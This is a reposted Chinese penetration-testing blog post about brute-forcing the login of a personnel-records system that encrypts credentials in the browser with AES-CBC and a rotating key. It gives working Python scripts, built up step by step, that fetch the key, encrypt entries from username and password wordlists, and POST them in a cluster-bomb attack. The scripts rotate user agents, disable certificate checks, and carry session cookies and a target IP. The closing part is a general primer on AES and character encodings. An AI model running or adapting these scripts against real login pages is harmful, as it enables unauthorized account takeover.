项目记实(一) - zha0gongz1
2020-7-9 13:23:0 Author: www.cnblogs.com(查看原文) 阅读量:53 收藏

前言:HW前期,某集团公司为加强安全建设,进行安全测试项目,渗透过程中发现很多问题,这里不一一记录。此文仅为记录针对某处前端AES加密,使用python进行算法实现,最后达到暴力破解的目的

0x01.分析

这是某人员档案系统的登录后台

我们查看它的网页源代码,发现采用AES前端加密方法(估计是疫情期间临时紧急搭建的平台)

0x02.设计思路

到/a/k文件中获取当前时间的加密字符串,作为key值(key每经过30s左右的时间就会更新一次),进入Encrypt函数进行加密

function Encrypt (text,key) {
		let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
			iv: CryptoJS.enc.Utf8.parse(key),    #密码:key;偏移量iv:key;字符集:utf8
			mode: CryptoJS.mode.CBC,    #AES加密模式:CBC
			padding: CryptoJS.pad.Pkcs7   #填充:pkcs7padding
		})

0x03.实现

第一步 请求key值:

import ssl
import urllib.request

ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
text = data.read().decode('utf8')
print(text)

第二步 加密过程实现:

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 选择pkcs7补全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def main():
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt('admin')
    print(cipher_text)


if __name__ == '__main__':
    main()

第三步 字典自动化加密过程实现

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 选择pkcs7补全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(password):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(password)
    print(cipher_text)


if __name__ == '__main__':
    wordList = open('word.txt','r')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)

第四步 构造数据包,发送网络请求

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 选择pkcs7补全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(a):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(a)

    brute(cipher_text)


# 暴力破解
def brute(value):

    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    headers = {'Host': 'xx.xx',
               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type':'application/x-www-form-urlencoded',
               'Connection': 'close',
               'Content-Length': '75',
               'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
               'Upgrade-Insecure-Requests':'1'}
    values = 'username=%s' % value + '&password=%s' % value
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)


if __name__ == '__main__':
    wordList = open('word.txt','r')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)

第五步:双字典cluster bomb模式爆破

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 选择pkcs7补全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(a,b):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text1 = cbc_cipher.encrypt(a)
    cipher_text2 = cbc_cipher.encrypt(b)
    brute(cipher_text1,cipher_text2)


# 暴力破解
def brute(value1,value2):
    ua_list = [
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
    "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    ua = random.choice(ua_list)
    headers = {'Host': '211.156.195.166',
               'User-Agent': ua,
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type':'application/x-www-form-urlencoded',
               'Connection': 'close',
               'Content-Length': '75',
               'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
               'Upgrade-Insecure-Requests':'1'}
    data = 'username=%s' % value1 + '&password=%s' % value2
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)


if __name__ == '__main__':
    with open('user.txt','r') as userList:
        with open('word.txt','r') as passList:
            for username in userList.readlines():
                for password in passList.readlines():
                    user = username.strip()
                    word = password.strip()
                    encrypted(username,word)
                passList.seek(0)
# 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器也是end了,第二次就没有password 在 passList中
# 也就是说 for password in passList.readlines():为空,所以这里的内层循环就不会再被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)

成果截图:

第六步 线程

:)加不加线程,取决于网站防护,当然,也属个人爱好,由于手里还有其他项目,这里就不赘述了。

:Github上有针对前端加密的自动化暴力破解的burp插件jsEncrypter ,感兴趣的可以去了解下,个人属实没玩明白,不做评价。

http://gv7.me/articles/2017/jsEncrypter/?nsukey=4euQnxPbr7mYBEh4c0PjPiuxTlc2Hk59s01x3%2B0ROVFEQ5f7yyx1Z4TijFr1Gkn0ALDGejuNlDjSshCIDmTYB1g1k%2Bt9OREnXhwGQtRCSF6qWLtYx%2BB6tp%2B2QbV%2BkB8Hw5OBey6Mu4PfzaF%2BEdX8RgK%2BN%2B6e23MyN8N%2B5xp1UY8TisnBP2k%2FeB3ixhd7M50a7oyi%2FD41CDp3HHKQ%2Bk4tVQ%3D%3D

0x04.知识介绍

crypto-js AES加密知识

crypto-js 是一个纯 javascript 写的加密算法类库 ,可以非常方便地在 javascript 进行MD5SHA1SHA2SHA3RIPEMD-160 哈希散列,进行 AESDESRabbitRC4Triple DES 加解密,我们可以采用 npm install crypto-js --save 进行下载安装,也可以直接去 GitHub下载源码~

高级加密标准(AES,Advanced Encryption Standard)为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图:

值得注意的是密钥的长度,由于对称解密使用的算法是 AES-128-CBC算法,数据采用 PKCS#7 填充 , 因此这里的 key 需要为16位!

AES加密算法详情请参考:https://blog.csdn.net/qq_28205153/article/details/55798628

字符集、字符编码知识

字符:在计算机和电信技术中,一个字符是一个单位的字形、类字形单位或符号的基本信息。即一个字符可以是一个中文汉字、一个英文字母、一个阿拉伯数字、一个标点符号等。

字符集:多个字符的集合。例如GB2312是中国国家标准的简体中文字符集,GB2312收录简化汉字(6763个)及一般符号、序号、数字、拉丁字母、日文假名、希腊字母、俄文字母、汉语拼音符号、汉语注音字母,共 7445 个图形字符。

字符编码:把字符集中的字符编码为(映射)指定集合中的某一对象(例如:比特模式、自然数序列、电脉冲),以便文本在计算机中存储和通过通信网络的传递。

字符集和字符编码的关系 :
字符集是书写系统字母与符号的集合,而字符编码则是将字符映射为一特定的字节或字节序列,是一种规则。通常特定的字符集采用特定的编码方式(即一种字符集对应一种字符编码(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了对应的字符编码,但Unicode不是,它采用现代的模型)),因此基本上可以将两者视为同义词。

字符编码的常用种类介绍

第一种:ASCII码

​ ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。如下图所示:

第二种:GBK 和 GB2312

 对于我们来说能在计算机中显示中文字符是至关重要的,然而ASCII表里连一个偏旁部首也没有。所以我们还需要一张关于中文和数字对应的关系表。一个字节只能最多表示256个字符,要处理中文显然一个字节是不够的,所以我们需要采用两个字节来表示,而且还不能和ASCII编码冲突,所以,中国制定了GB2312编码,用来把中文编进去。

第三种:Unicode

 但这样的话,就会出现一个问题,各个国家都一套自己的编码,就不可避免会有冲突,这是该怎么办呢?

 因此,Unicode应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。

 Unicode标准也在不断发展,但最常用的是用两个字节表示一个字符(如果要用到非常偏僻的字符,就需要4个字节)。现代操作系统和大多数编程语言都直接支持Unicode。   

 现在,分析一下ASCII编码和Unicode编码的区别:

  • ASCII编码是1个字节,而Unicode编码通常是2个字节。
  • 字母A用ASCII编码是十进制的65,二进制的01000001;
  • 字符0用ASCII编码是十进制的48,二进制的00110000;
  • 汉字“中”已经超出了ASCII编码的范围,用Unicode编码是十进制的20013,二进制的01001110 00101101。
  • 如果把ASCII编码的A用Unicode编码,只需要在前面补0就可以,因此,A的Unicode编码是00000000 01000001。
  • 但如果统一成Unicode编码,乱码问题从此消失了。但是,如果你写的文本基本上全部是英文的话,用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算。

第四种:UTF-8

  基于节约的原则,出现了把Unicode编码转化为“可变长编码”的UTF-8编码。UTF-8编码把一个Unicode字符根据不同的数字大小编码成1-6个字节,常用的英文字母被编码成1个字节,汉字通常是3个字节,只有很生僻的字符才会被编码成4-6个字节。如果你要传输的文本包含大量英文字符,用UTF-8编码就能节省空间了。如下所示:

 从上面的表格还可以发现,UTF-8编码有一个额外的好处,就是ASCII编码实际上可以被看成是UTF-8编码的一部分,所以,大量只支持ASCII编码的历史遗留软件可以在UTF-8编码下继续工作。

我们总结一下现在计算机系统通用的字符编码工作方式:

  在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。

  用记事本编辑的时候,从文件读取的UTF-8字符被转换为Unicode字符到内存里,编辑完成后,保存的时候再把Unicode转换为UTF-8保存到文件。如下图:

0x05.说明

文章是写代码之余做笔记来的,略显简略粗糙。代码不够精简之处,请各位python巨佬多多指教,评论区多多留言,拜谢!

Reference

https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html


文章来源: https://www.cnblogs.com/H4ck3R-XiX/p/13273107.html
如有侵权请联系:admin#unsafe.sh